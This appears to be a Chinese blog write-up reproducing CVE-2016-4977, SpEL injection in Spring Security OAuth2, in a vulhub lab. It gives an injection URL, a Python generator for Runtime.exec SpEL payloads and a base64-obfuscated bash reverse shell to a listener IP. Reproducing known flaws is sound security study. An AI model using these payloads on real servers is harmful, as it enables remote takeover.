Spring Security OAuth2-远程代码执行 (CVE-2016-4977)

Spring Security OAuth2-远程代码执行 (CVE-2016-4977)

0x00 前言

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

影响版本:

Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14

利用条件:

知道用户名和密码

0x01 环境搭建

这里使用vulhub漏洞靶场

用户名和密码,admin:admin

0x02 复现步骤

1、访问http://your-ip:8080/oauth/authorize?response_type=${12*2}&client_id=acme&scope=openid&redirect_uri=http://test

Spring Security OAuth2-远程代码执行 (CVE-2016-4977)_第1张图片

可以发现{12*2}表达式的值已经输出

2、利用脚本生成反弹shell的poc

这里要注意:Java反弹shell的限制与绕过方式

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjE1Mi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}

image-20230328213323037

poc.py

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)

运行脚本后,生成了一大串SpEL语句

3、将生成的这个SpEL语句填入表达式中,访问成功弹回shell:

Spring Security OAuth2-远程代码执行 (CVE-2016-4977)_第2张图片

0x03 修复建议

1、更新官方最新补丁

你可能感兴趣的:(漏洞复现,spring,网络安全,web安全)